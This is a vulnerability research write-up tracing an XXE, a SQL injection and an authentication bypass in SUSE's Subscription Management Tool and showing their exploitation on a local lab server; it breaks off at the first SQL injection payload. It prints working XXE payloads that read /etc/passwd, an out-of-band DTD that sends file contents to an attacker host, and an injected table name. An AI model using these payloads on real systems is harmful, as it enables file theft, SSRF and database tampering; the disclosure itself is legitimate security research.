A Tale of Three CVEs

A series of vulnerabilities in the RegistrationSharing module of the Subscription Management Tool (prior to v3.0.38) provided by SUSE for SLES 12 SP3 and below leads to unauthenticated remote arbitrary file reading, DoS and SSRF on the SMT server and RCE on client machines.

CVE-2018-12470 - SQL injection leading to code execution on client machines

CVE-2018-12471 - XXE leading to DoS, SSRF and arbitrary file reading on SMT server

CVE-2018-12472 - Authentication bypass in sibling check allows remote, unauthenticated attackers to exploit the previous two vulnerabilities

created 2018-08-18
modified 2018-11-09

Hunting for XXE

XXE vulnerabilities are a well known avenue for exploiting applications, even ranking number 4 on the OWASP Top 10 Most Critical Web Application Security Risks (2017). On this front, a lot of researchers have discovered issues due to the use of the LibXML library in Perl which will, by default, process external entities -- developers who are unaware of this (or maybe don't even realize it's an issue) can easily fall trap to introducing rather severe vulnerabilities into their applications.

Having been aware of this for quite a while it occurred to me to write a script to parse some repos from github, clone them and then search through them for this common issue (there are better ways to search through code on github but my script worked with a specific subset of repositories that I was interested in). Searching some common terms that would indicate the presence of this issue reveals a lot of hits but one of the most interesting was this:

.../SUSE/smt/www/perl-lib/SMT/RegistrationSharing.pm:346: my $parser = XML::LibXML->new();

Seeing the owner of the repository instantly piqued my interest. There were plenty of other promising hits (stay tuned for further reports) but this was interesting enough for me to start looking at the code to see exactly what was happening. This line of code lies in the subroutine _getXMLFromPostData so let's look at it in full:



# # Process the received data and turn it into an XML object # sub _getXMLFromPostData { my $postData = shift; my $xml; my $parser = XML::LibXML->new(); eval { # load_xml not available on SLES 11 SP3 due to version of # LibXML and underlying libxml2 #$xm = XML::LibXML->load_xml(string => $postData); my $POSTDATAFL = File::Temp->new(SUFFIX=>'.txt'); $POSTDATAFL->write($postData); $POSTDATAFL->flush(); seek $POSTDATAFL, 0,0; $xml = $parser->parse_fh($POSTDATAFL); }; if ($@) { return; } return $xml; }

This routine takes in a single parameter $postData representing a blob of data that has been POSTed during a request and does the following:

  1. Creates a new XML parser using the LibXML library
  2. Dumps the $postData to a new temporary .txt file
  3. Uses the parser created in step 1 to parse XML data from the temporary file
  4. Returns the parsed XML data

This looks pretty juicy -- taking XML from POST data and parsing it using the default parameters of LibXML, which we already know will happily expand external entities. At this point it would be nice to be able to test our suspicions. This looks like some kind of server application but I really have no idea what it is or what it's doing, so let's investigate.

The README in the base of the repository contains text for the GPLv2 license and nothing else except for

smt -- Subscription Management Tool Copyright (C) 2008-2012 Michael Calmer, SUSE LINUX Products GmbH
OK, it's some kind of application to manage subscriptions. To what exactly?

The product page for the Subscription Management Tool (hereafter referred to as SMT) has this to say: You can manage your SUSE Linux Enterprise software updates more easily with the Subscription Management Tool. It also helps you maintain your corporate firewall policy and meet regulatory compliance requirements. The Management Tool establishes a proxy system for SUSE Customer Center with repository and registration targets. Not exactly to the point. The FAQ has a more digestable description: The Subscription Management Tool establishes a proxy system for SUSE Customer Center enterprise customers to optimize the management of SUSE Linux Enterprise software updates and subscription entitlements. The proxy provides repository and registration targets. This helps you centrally manage software updates within the firewall on a per-system basis while maintaining your corporate security policies and regulatory compliance. The tool allows you to provision updates for all of your devices running a SUSE Linux Enterprise-based product. By downloading these updates only once and distributing them throughout the enterprise, you can set more restrictive firewall policies and, where applicable, avoid significant network usage stemming from repeated downloads of the same updates by each device. The tool is fully supported and available as a download to customers with an active SUSE Linux Enterprise product subscription. ... The Subscription Management Tool server can supply updates for up to a thousand SUSE Linux Enterprise devices per server depending on the utilization profile. ... The Subscription Management Tool informs your SUSE Linux Enterprise devices of any available software updates. Each device then obtains the required software updates from the SMT. The introduction of the SMT improves the interaction among SUSE Linux Enterprise devices within the network and simplifies how they receive their system updates. So the idea is you have a whole fleet of computers (likely at your organization) and instead of having every computer download updates individually -- causing a lot of network traffic and potentially requring special firewall rules/security policies to allow them -- you would set up a server running the SMT, configure it to mirror any necessary packages and then set up the SMT on each client machine which will then pull updates from the SMT server. An elegant solution. It also sounds like a very attractive target all things considered.

We now know what the SMT is. Let's do a search through the repository to see where _getXMLFromPostData is being called from: [~/SUSE]$ grep -RHin "_getXMLFromPostData" smt/ smt/www/perl-lib/SMT/RegistrationSharing.pm:36: my $regXML = _getXMLFromPostData($regData); smt/www/perl-lib/SMT/RegistrationSharing.pm:95: my $delXML = _getXMLFromPostData($guidData); smt/www/perl-lib/SMT/RegistrationSharing.pm:342:sub _getXMLFromPostData two results (not counting the subroutine declaration), both in the RegistrationSharing.pm module. One in a subroutine called addSharedRegistration and one in a subroutine called deleteSharedRegistration. So what's this whole RegistrationSharing thing about? Where are those routines being called from?

Searching the repository for instances where the addSharedRegistration routine is being called yields only one result outside of the RegistrationSharing.pm file:



... elsif($hargs->{command} eq "shareregistration") { if (! $REGSHARING) { my $msg = "Registration sharing is not configured\n"; $r->log_error($msg); $msg = 'Internal Server Error. Please contact your ' . 'administrator.'; return http_fail($r, 500, $msg); } SMT::RegistrationSharing::addSharedRegistration($r, $hargs); } ...
looking at this routine in full, it appears to be taking in a GET request, parsing out the GET parameters into an $hargs variable and then launching into a series of if statements that are checking what $hargs->{command} is equal to. If the command is there and equals "shareregistration" we go into a handler that checks if the $REGSHARING variable is true and if so we call the addSharedRegistration subroutine from the RegistrationSharing module.

Tracing back up a little bit we can see that $REGSHARING is originally set to undefined: my $REGSHARING = undef; Shortly afterwards it goes into a handler that attempts to load the RegistrationSharing.pm module and if successful $REGSHARING is set to 1:



if (! defined $REGSHARING) { $REGSHARING = 0; if (SMT::Utils::hasRegSharing($r)) { eval { require 'SMT/RegistrationSharing.pm'; }; if ($@) { my $msg = 'Failed to load registration sharing module ' . '"SMT/RegistrationSharing.pm"' . "\n$@"; $r->log_error($msg); $msg = 'Internal Server Error. Please contact your ' . 'administrator.'; return SMT::Utils::http_fail($r, 500, $msg); } # Plugin successfully loaded $REGSHARING = 1; } }

OK, we have a lot more information to work from here. Searching the repository for the string "shareregistration" yields a handful of results but the first and most interesting one is some unit tests that contains some more useful information regarding RegistrationSharing:



my $url = "https://$smtServer/center/regsvc" . '?command=shareregistration' . '&lang=en-US&version=1.0';
This gives us a URL that we can use to trigger this code path. Looking up further in the file reveals the payload that is being sent along with the request:


<registrationData> <tableData table='Clients'> <entry columnName='NAMESPACE' value=''/> <entry columnName='HOSTNAME' value='smt-client'/> <entry columnName='TARGET' value='sle-11-x86_64'/> <entry columnName='GUID' value='03a8f41f176d4776aed0ea2263ea82c4'/> <entry columnName='SECRET' value='efaf1ed2f80a4548b4904dc5888f9958'/> <entry columnName='DESCRIPTION' value=''/> <entry columnName='REGTYPE' value='SR'/> <entry columnName='LASTCONTACT' value='2014-08-27 13:41:11'/> </tableData> <tableData table='Registration'> <entry columnName='REGDATE' value='2014-08-26 09:58:15'/> <entry columnName='NCCREGERROR' value='0'/> <entry columnName='NCCREGDATE' value='2014-08-26 09:58:15'/> <entry columnName='GUID' value='03a8f41f176d4776aed0ea2263ea82c4'/> <entry columnName='PRODUCTID' value='100550'/> </tableData> </registrationData>

At this point in time we have

  1. Identified a likely piece of vulnerable code
  2. Identified what the purpose of the application is
  3. Found a way to trigger the piece of vulnerable code
It is time to confirm that this vulnerability actually exists and is exploitable. In order to test we're going to have to either install it ourselves locally or find someone with a server running we can test against. Seeing as these servers aren't free and require a valid subscription the former seems like the easier solution so I set off on getting a running SMT server.

I'm only going to summarize the steps I went through as setting this up could make a decently long informative post on its own (coming from someone who hadn't touched any variant of SUSE linux before). All OS were installed as guest systems inside of VirtualBox running on my archlinux host.
  • Install OpenSUSE before realizing that an SMT server can only be set up on SUSE Linux Enterprise Server (clients can be running OpenSUSE however)
  • Go to the download page for SLES to grab a copy of SLES, choosing to sign up for the 60 day free trial
  • Install SLES 15
  • Install SLES 12 SP3
    • Install and configure the SMT
    • Install and configure RegistrationSharing for the SMT
I only learned that the SMT is being replaced by the Repository Mirroring Tool (RMT) after installing SLES 15. From SLE version 15 and up only the RMT is available. It is not backwards compatible, so those running SLE 12 and below only have the SMT available. Additionally there are some features missing in the RMT that the SMT has (RMT is under active development to bring features that should be there into existence though) which their github gives a good summary of. Moreover, SLE 11 SP3 and onwards still have long time support (LTSS) until 2022 in the latest case (2019 earliest) and SLE 12 SP3 still receives general support. A good table for support times can be found on wikipedia. So even though this tool is already being replaced with something better (and hopefully more secure) it still has the potential to impact a large number of users.

After everything is installed and running we can begin trying to exploit the application locally. Trying a POST request to the URL we found before with our legitimate XML payload

ebx@linux-uj54:~> curl -v -d @legit.xml "https://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Hostname was NOT found in DNS cache * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > User-Agent: curl/7.37.0 > Host: 127.0.0.1 > Accept: */* > Content-Length: 881 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 881 out of 881 bytes < HTTP/1.1 500 Internal Server Error < Date: Sun, 19 Aug 2018 17:39:29 GMT * Server Apache is not blacklisted < Server: Apache < Content-Length: 0 < Connection: close < * Closing connection 0
throws a 500 error and results in a message in the apache error log file:

Failed to load registration sharing module "SMT/RegistrationSharing.pm"\nCan't locate SMT/RegistrationSharing.pm in @INC (you may need to install the SMT::RegistrationSharing module)
After some duckduckgoing, it turns out that the RegistrationSharing module is not installed by default, but can be installed through YaST2 via the smt-ha package. The smt-ha package is contained within the SUSE Cloud Application Platform Tools Module which must be enabled in YaST2 under Configuration->Repositories.

This definitely adds a bit of a barrier to exploitation. However, it is recommended in the SUSE best practices documentation to enable registration sharing as the "Sharing of registration information is important to provide failover capabilities for the update infrastructure" and that "The implementation of this setup is a requirement to obtain SUSE Certified Cloud Provider status". So there is a decent chance that it will be configured on any one SMT server that you may come across, particularly if it's part of a certified cloud provider.

What exactly is RegistrationSharing? Let's look at the initial commit for a description from the author: - Implement registration sharing + Registration sharing allows two completely independently configured SMT servers to be configured as sibling servers. The sibling servers share registration information effectively creating an redundant setup. Code that can be implemented in the client can detect if the SMT server that it registered to is available, if not it can fail over to the sibling server and get access to the repositories with the same registration credentials. So we can use registration sharing to create SMT server redundancy. Two (or more) SMT servers are set up with the same registration credentials/mirrors, clients are shared between them and in the event one server goes down a client machine can fall back to using one of the preconfigured siblings and avoid possibly missing critical security patches.

After installation, RegistrationSharing must be configured in the SMT configuration file:



# This string is used to verify that any sender trying to share a # registration is allowed to do so. Provide a comma separated list of # names or IP addresses. acceptRegistrationSharing = 127.0.0.1 # # This string is used to set the host names and or IP addresses of sibling # SMT servers to which the registration data should be sent. For multiple # siblings provide a comma separated list. shareRegistrations = 127.0.0.1 # # This string provides information for SSL verification of the siblings. # Certificates for the siblings should reside in the given directory. # If not defined siblings are assumed to have the same CA as this server #siblingCertDir= # not necessary for our tests
As noted in the documentation, to configure registration sharing you must provide a list of hosts that will be whitelisted to make registration sharing requests. We're going to ignore that tidbit for now and just continue our tests working from localhost (which we've added as the only whitelisted host) -- a vulnerability is a vulnerability right?

Once we have that configured we can try our request again: ebx@linux-uj54:~> curl -v -d @legit.xml "https://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Hostname was NOT found in DNS cache * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > User-Agent: curl/7.37.0 > Host: 127.0.0.1 > Accept: */* > Content-Length: 881 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 881 out of 881 bytes < HTTP/1.1 200 OK < Date: Sun, 19 Aug 2018 17:37:16 GMT * Server Apache is not blacklisted < Server: Apache < Content-Length: 0 < Content-Type: text/xml < * Connection #0 to host 127.0.0.1 left intact Success, this time we get a 200 response and it's no longer complaining about RegistrationSharing not being there. Looking good.

We know that this is calling the addSharedRegistration subroutine which in turn is calling the vulnerable _getXMLFromPostData with our passed XML data. Let's check out the rest of the addSharedRegistration subroutine to see what it does: sub addSharedRegistration { my $r = shift; my $hargs = shift; my $apache = Apache2::ServerUtil->server; my $acceptRequest = _verifySenderAllowed($r); if ($acceptRequest != 1) { return $acceptRequest; } # Process the registration request my $regData = SMT::Utils::read_post($r); my $regXML = _getXMLFromPostData($regData); if (! $regXML) { my $msg = "Received invalid data:\n$@\n"; $apache->log_error($msg); $r->log_error($msg); return SMT::Utils::http_fail($r, 400, $msg); } my $dbh = SMT::Utils::db_connect(); my @tableEntries = $regXML->getElementsByTagName('tableData'); for my $entry (@tableEntries) { my $guid = _getGUIDfromTableEntry($entry); my $tableName = $entry->getAttribute('table'); if ($tableName eq 'Clients' && SMT::Utils::lookupClientByGUID($dbh, $guid)) { $apache->log->info("Already have entry for '$guid' nothing to do for Clients record"); next; } my $statement = _createInsertSQLfromXML($r, $dbh, $entry); if (! $statement) { $dbh->disconnect(); my $msg = 'Could not generate SQL statement to insert ' . 'registration'; $r->log_error($msg); return SMT::Utils::http_fail($r, 400, $msg); } eval { $dbh->do($statement) }; if ($@) { $dbh->disconnect(); $r->log_error('Unable to insert registration into SMT database'); my $msg = 'Registration insert failed:\n' . "STATEMENT: $statement\n" . "Error: $@"; $apache->log_error($msg); return SMT::Utils::http_fail($r, 400, $msg); } } $dbh->disconnect(); return; } Here is a quick rundown of what's going on:

This subroutine takes in a POST request containing an XML payload which gets parsed out through _getXMLFromPostData -- it aborts with an HTTP 400 response if it fails to parse the data properly (we pretty much already knew this). Next it grabs all <tableData ...> ... </tableData> nodes, iterates over all of them grabbing the GUID attribute value under each <entry ...> element and the table attribute value from the <tableData table='...'> element itself. If the value of the table attribute is "Clients" and the GUID we grabbed already exists in the database we skip the rest of the routine, otherwise we call _createInsertSQLfromXML with the single <tableData ...>...</tableData> blob of XML data and then attempt to execute the SQL statement that is returned from that routine -- if any of that fails it aborts with an HTTP 400 response.

Whew! Now we have a pretty good idea on what this routine is doing. We know that the SMT is a LAMP application from the SMT v. RMT comparision table, so let's check the database out and see what we can gather from our earlier successful POST. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | smt | | test | +--------------------+ 5 rows in set (0.02 sec) MariaDB [(none)]> use smt; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [smt]> show tables; +--------------------------+ | Tables_in_smt | +--------------------------+ | Catalogs | | ClientSubscriptions | | Clients | | Filters | | JobQueue | | JobResults | | MachineData | | Packages | | PatchRefs | | Patches | | Patchstatus | | ProductCatalogs | | ProductExtensions | | ProductMigrations | | Products | | Registration | | RepositoryContentData | | StagingGroups | | Subscriptions | | Targets | | migration_schema_version | +--------------------------+ 21 rows in set (0.00 sec) There's a lot of interesting looking tables in the smt database. We can already surmise from our XML payload that the table names we've likely altered with our request are Clients and Registration so let's look at those: MariaDB [smt]> select * from Clients; +----+----------------------------------+----------+------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+ | ID | GUID | SYSTEMID | HOSTNAME | TARGET | DESCRIPTION | LASTCONTACT | NAMESPACE | SECRET | REGTYPE | +----+----------------------------------+----------+------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+ | 1 | 03a8f41f176d4776aed0ea2263ea82c4 | NULL | smt-client | sle-11-x86_64 | | 2014-08-27 13:41:11 | | efaf1ed2f80a4548b4904dc5888f9958 | SR | +----+----------------------------------+----------+------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+ 1 rows in set (0.00 sec) MariaDB [smt]> select * from Registration; +----------------------------------+-----------+---------------------+---------------------+-------------+ | GUID | PRODUCTID | REGDATE | NCCREGDATE | NCCREGERROR | +----------------------------------+-----------+---------------------+---------------------+-------------+ | 03a8f41f176d4776aed0ea2263ea82c4 | 100550 | 2014-08-26 09:58:15 | 2014-08-26 09:58:15 | 0 | +----------------------------------+-----------+---------------------+---------------------+-------------+ 1 row in set (0.00 sec) Sweet, we successfully inserted an entry into each table with our test. We can now try modifying our payload to see if we can exploit the XXE that we found in code. Let's see what exactly the Clients table is: MariaDB [smt]> describe Clients; +-------------+------------------+------+-----+-------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------------+------------------+------+-----+-------------------+----------------+ | ID | int(10) unsigned | NO | UNI | NULL | auto_increment | | GUID | char(50) | NO | PRI | | | | SYSTEMID | int(10) unsigned | YES | MUL | NULL | | | HOSTNAME | varchar(100) | YES | | | | | TARGET | varchar(100) | YES | | NULL | | | DESCRIPTION | varchar(500) | YES | | | | | LASTCONTACT | timestamp | NO | | CURRENT_TIMESTAMP | | | NAMESPACE | varchar(300) | NO | | | | | SECRET | char(50) | NO | | | | | REGTYPE | char(10) | NO | | SR | | +-------------+------------------+------+-----+-------------------+----------------+ 10 rows in set (0.00 sec) From the database schema we can see that not all columns need to be supplied so let's craft a simpler XXE payload from our given, legitimate XML:



<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE regdata [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <registrationData> <tableData table="Clients"> <entry columnName="NAMESPACE" value="">&xxe;</entry> <entry columnName="HOSTNAME" value="security_is_hard"/> </tableData> </registrationData>
ebx@linux-uj54:~> curl -v -d @testxxe.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Hostname was NOT found in DNS cache * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > User-Agent: curl/7.37.0 > Host: 127.0.0.1 > Accept: */* > Content-Length: 296 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 296 out of 296 bytes < HTTP/1.1 200 OK < Date: Fri, 10 Aug 2018 20:45:00 GMT * Server Apache is not blacklisted < Server: Apache < Content-Length: 0 < Content-Type: text/xml < * Connection #0 to host 127.0.0.1 left intact Awesome, 200 OK! Let's check the database: MariaDB [smt]> select * from Clients; +----+----------------------------------+----------+------------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+ | ID | GUID | SYSTEMID | HOSTNAME | TARGET | DESCRIPTION | LASTCONTACT | NAMESPACE | SECRET | REGTYPE | +----+----------------------------------+----------+------------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+ | 20 | | NULL | security_is_hard | NULL | | 2018-08-10 14:45:01 | | | SR | | 1 | 03a8f41f176d4776aed0ea2263ea82c4 | NULL | smt-client | sle-11-x86_64 | | 2014-08-27 13:41:11 | | efaf1ed2f80a4548b4904dc5888f9958 | SR | +----+----------------------------------+----------+------------------+---------------+-------------+---------------------+-----------+----------------------------------+---------+ Looks like our entry got created with no errors being thrown from the XML parser. At this point I'm very confident that the backend is parsing external entities, but obviously we have no way to see the parsed XML (and thus the included file contents). So let's try a couple of things. First we try sending the same payload again: ebx@linux-uj54:~> curl -v -d @testxxe.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Hostname was NOT found in DNS cache * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > User-Agent: curl/7.37.0 > Host: 127.0.0.1 > Accept: */* > Content-Length: 296 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 296 out of 296 bytes < HTTP/1.1 400 Bad Request < Date: Fri, 10 Aug 2018 20:51:16 GMT * Server Apache is not blacklisted < Server: Apache < Connection: close < Transfer-Encoding: chunked < Content-Type: text/plain < Registration insert failed:\nSTATEMENT: INSERT into Clients (NAMESPACE, HOSTNAME) VALUES ('', 'security_is_hard') Error: DBD::mysql::db do failed: Duplicate entry '' for key 'PRIMARY' at /usr/lib/perl5/vendor_perl/5.18.2/SMT/RegistrationSharing.pm line 63. * Closing connection 0 But it fails with a 400 response. It's failing because we already have an entry in the database with a PRIMARY key of '' but we're trying to insert another one. If we look at the schema for the Clients table that we dumped above we can see the GUID column is the primary key, which is defaulting to ''.

Besides reading files, DoS and SSRF are other common ways to leverage an XXE flaw. DoS is boring (but can be accomplished relatively easily by utilizing quadratic blowup or changing the file being read to something that won't return like /dev/random) so let's see if we can get the server to make requests to external resources, which could potentially result in out-of-bounds extraction of data but will at least confirm our ability to perform SSRF.

I throw up a quick server on my host machine: [~/tmp]$ python2 -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... use the following as a test payload and issue a request from our SUSE guest:



<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE registrationData [ <!ELEMENT registrationData ANY > <!ENTITY % xxe SYSTEM "http://192.168.43.87:8000/oob.xml"> %xxe; %param1; ]> <registrationData>&exfil;</registrationData>
ebx@linux-uj54:~> curl -v -d @test_oob.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" and we're greeted with a request on our host server from our client machine 192.168.43.226 - - [10/Aug/2018 16:52:17] code 404, message File not found 192.168.43.226 - - [10/Aug/2018 16:52:17] "GET /oob.xml HTTP/1.0" 404 - SSRF confirmed. Utilizing this we can effectively use the server as a port scanner and would even be able to scan the local network the server is connected to in order to discover other potentially vulnerable targets/pivot points. Of course this isn't very useful to us at the moment since we have no way to see the results of the scan (as an attacker), so let's see if we can get the server to actually spit us back some data.

We create the following on our host machine and issue the same request. It will attempt to have the SMT server respond back to our host with the contents of the file within the URL.


<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.43.87:8000/?%data;'>">
and we can see that our malicious oob.xml file was grabbed successfully 192.168.43.226 - - [10/Aug/2018 17:34:09] "GET /oob.xml HTTP/1.0" 200 - But that's it, no other requests came through with file contents or anything that would indicate a successful attack. Let's switch back to our SUSE server and see what information we can get there. Our cURL command has the following output:
ebx@linux-uj54:~> curl -v -d @test_oob.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Hostname was NOT found in DNS cache * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > User-Agent: curl/7.37.0 > Host: 127.0.0.1 > Accept: */* > Content-Length: 222 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 222 out of 222 bytes < HTTP/1.1 400 Bad Request < Date: Fri, 10 Aug 2018 23:34:09 GMT * Server Apache is not blacklisted < Server: Apache < Connection: close < Transfer-Encoding: chunked < Content-Type: text/plain < Received invalid data: http://192.168.43.87:8000/oob.xml:2: parser error : Detected an entity reference loop <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.43.87:8000/?%data;'>"> ^ * Closing connection 0
Rats, it looks like LibXML by default has defense against this type of OOB exfiltration and so it will not work. We still have our SSRF and (sigh) DoS, but it seems that's all we're able to do so far. Let's start looking at the source code more closely to see if there's anywhere we're using the data from the XML payload that might be exploitable.

Doing a quick search through the source code did not reveal anywhere using anything interesting that could be exploited such as an eval(). Looking at the addSharedRegistration subroutine again, it's not doing much with the XML data itself but there are two interesting points where the data is being passed and potentially used: SMT::Utils::lookupClientByGUID($dbh, $guid) and my $statement = _createInsertSQLfromXML($r, $dbh, $entry); The more interesting sounding routine is _createInsertSQLfromXML, least of all because it starts with an underscore designating it is for use internally.

# Generate the SQL statement to insert the registration that is being shared # into the DB # sub _createInsertSQLfromXML { my $r = shift; my $dbh = shift; my $element = shift; my $tableName = $element->getAttribute('table'); if (! $tableName) { $dbh->disconnect(); my $xml = $element->textContent; my $msg = "Could not determine table name for insertion from XML\n" . $xml; $r->log_error($msg); return SMT::Utils::http_fail($r, 400, $msg); } my $sql = "INSERT into $tableName ("; my $vals = 'VALUES ('; for my $entry ($element->getElementsByTagName('entry')) { $sql .= $entry->getAttribute('columnName') . ', '; my $val = $dbh->quote($entry->getAttribute('value')); $vals .= "$val" . ', '; } for my $entry ($element->getElementsByTagName('foreign_entry')) { $sql .= $entry->getAttribute('columnName') . ', '; my $statement = $entry->getAttribute('value'); my $values = $dbh->selectcol_arrayref($statement); $vals .= $dbh->quote($values->[0]) . ', '; } chop $sql; # remove trailing space chop $sql; # remove trailing comma chop $vals; # remove trailing space chop $vals; # remove trailing comma $sql .= ') ' . $vals . ')'; return $sql; }
Reading through this routine once or twice and two things immediately stick out: if (! $tableName) { $dbh->disconnect(); my $xml = $element->textContent; my $msg = "Could not determine table name for insertion from XML\n" . $xml; $r->log_error($msg); return SMT::Utils::http_fail($r, 400, $msg); } This looks like a very good reflection point for our XXE payload. If the $tableName variable evaluates to a boolean false the text content of the XML is retrieved, appended to a message and then logged and dumped back to the user during an HTTP 400 response.

The rest of the routine is also interesting. It builds up a SQL statement from the data supplied in the POST request and we've already seen what that SQL looks like as in our test payload: INSERT into Clients (NAMESPACE, HOSTNAME) VALUES ('', 'security_is_hard') -- comparing this SQL to the code that creates it and it becomes very clear how it is built up. The most interesting bit is the beginning: my $sql = "INSERT into $tableName ("; looking back up a little further and we can see where $tableName gets its value... my $tableName = $element->getAttribute('table'); directly from our provided XML. User supplied input being inserted directly into a raw SQL statement without sanitization -- smells like SQL injection to me ;)

Let's get back to the original XXE vulnerability though, because we found a reflection point that looks like a good candidate for testing arbitrary file reading. You'll recall that if we can make the $tableName variable evaluate to false we can trigger the code path that will reflect our XML content back to us. We just discovered that the $tableName variable gets its value directly from our XML content, from the table attribute of the root element. Note that the code iterates over each element and passes that to the _createInsertSQLfromXML routine, so the data passed looks like this:

<tableData table="Clients"> <entry columnName="NAMESPACE" value="">&xxe;</entry> <entry columnName="HOSTNAME" value="smt-client"/> </tableData>
However, at this point in code our XML has already been parsed by LibXML, so &xxe; has been expanded into the entity that we defined.

Will the boolean check on $tableName fail if we simply don't provide a table='' attribute? Let's modfy our initial test payload and give it a try:


<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <registrationData> <tableData> <entry columnName="NAMESPACE" value="">&xxe;</entry> <entry columnName="HOSTNAME" value="smt-client"/> </tableData> </registrationData>

It's pretty much the same payload only we provide the <tableData> tag with no attribute. Let's fire this off and see what happens... ebx@linux-uj54:~> curl -v -d @readfile.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Hostname was NOT found in DNS cache * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > User-Agent: curl/7.37.0 > Host: 127.0.0.1 > Accept: */* > Content-Length: 280 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 280 out of 280 bytes < HTTP/1.1 400 Bad Request < Date: Sat, 11 Aug 2018 02:17:30 GMT * Server Apache is not blacklisted < Server: Apache < Connection: close < Transfer-Encoding: chunked < Content-Type: text/plain < Could not determine table name for insertion from XML at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash bin:x:1:1:bin:/bin:/bin/bash daemon:x:2:2:Daemon:/sbin:/bin/bash ftp:x:40:49:FTP account:/srv/ftp:/bin/bash ftpsecure:x:489:65534:Secure FTP User:/var/lib/empty:/bin/false games:x:12:100:Games account:/var/games:/bin/bash gdm:x:482:483:Gnome Display Manager daemon:/var/lib/gdm:/bin/false lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash messagebus:x:499:499:User for D-Bus:/var/run/dbus:/bin/false mysql:x:60:494:MySQL database admin:/var/lib/mysql:/bin/false news:x:9:13:News system:/etc/news:/bin/bash nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash nscd:x:496:495:User for nscd:/run/nscd:/sbin/nologin ntp:x:74:489:NTP daemon:/var/lib/ntp:/bin/false openslp:x:494:2:openslp daemon:/var/lib/empty:/sbin/nologin polkitd:x:497:496:User for polkitd:/var/lib/polkit:/sbin/nologin postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false pulse:x:487:487:PulseAudio daemon:/var/lib/pulseaudio:/sbin/nologin root:x:0:0:root:/root:/bin/bash rpc:x:495:65534:user for rpcbind:/var/lib/empty:/sbin/nologin rtkit:x:488:488:RealtimeKit:/proc:/bin/false scard:x:484:485:Smart Card Reader:/var/run/pcscd:/usr/sbin/nologin smt:x:485:8:User for SMT:/var/lib/smt:/usr/bin/false srvGeoClue:x:490:65534:User for GeoClue D-Bus service:/var/lib/srvGeoClue:/sbin/nologin sshd:x:498:498:SSH daemon:/var/lib/sshd:/bin/false statd:x:486:65534:NFS statd daemon:/var/lib/nfs:/sbin/nologin systemd-timesync:x:491:491:systemd Time Synchronization:/:/sbin/nologin uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash vnc:x:483:484:user for VNC:/var/lib/empty:/sbin/nologin wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false ebx:x:1000:100:ebx:/home/ebx:/bin/bash vboxadd:x:481:1::/var/run/vboxadd:/bin/false * Closing connection 0 Could not generate SQL statement to insert registrationebx@linux-uj54:~> Success! It triggered right where we thought it would and dumped the contents of the file we specified in our entity. Note from the code that this information also gets dumped to the apache error log file, so it is rather noisey from an attackers perspective.

SQL Injection

Next let's investigate the SQL injection vulnerability that we found. You'll recall that we discovered it was the same attribute value that when ommitted dumps the raw XML back to us that is the injection point, so we can simply modify the same payload that we used to exploit our XXE to exploit our SQL injection.



<?xml version="1.0" encoding="ISO-8859-1"?> <registrationData> <tableData table='Clients (GUID, HOSTNAME) VALUES("sqli", "SQLi");#'> </tableData> </registrationData>
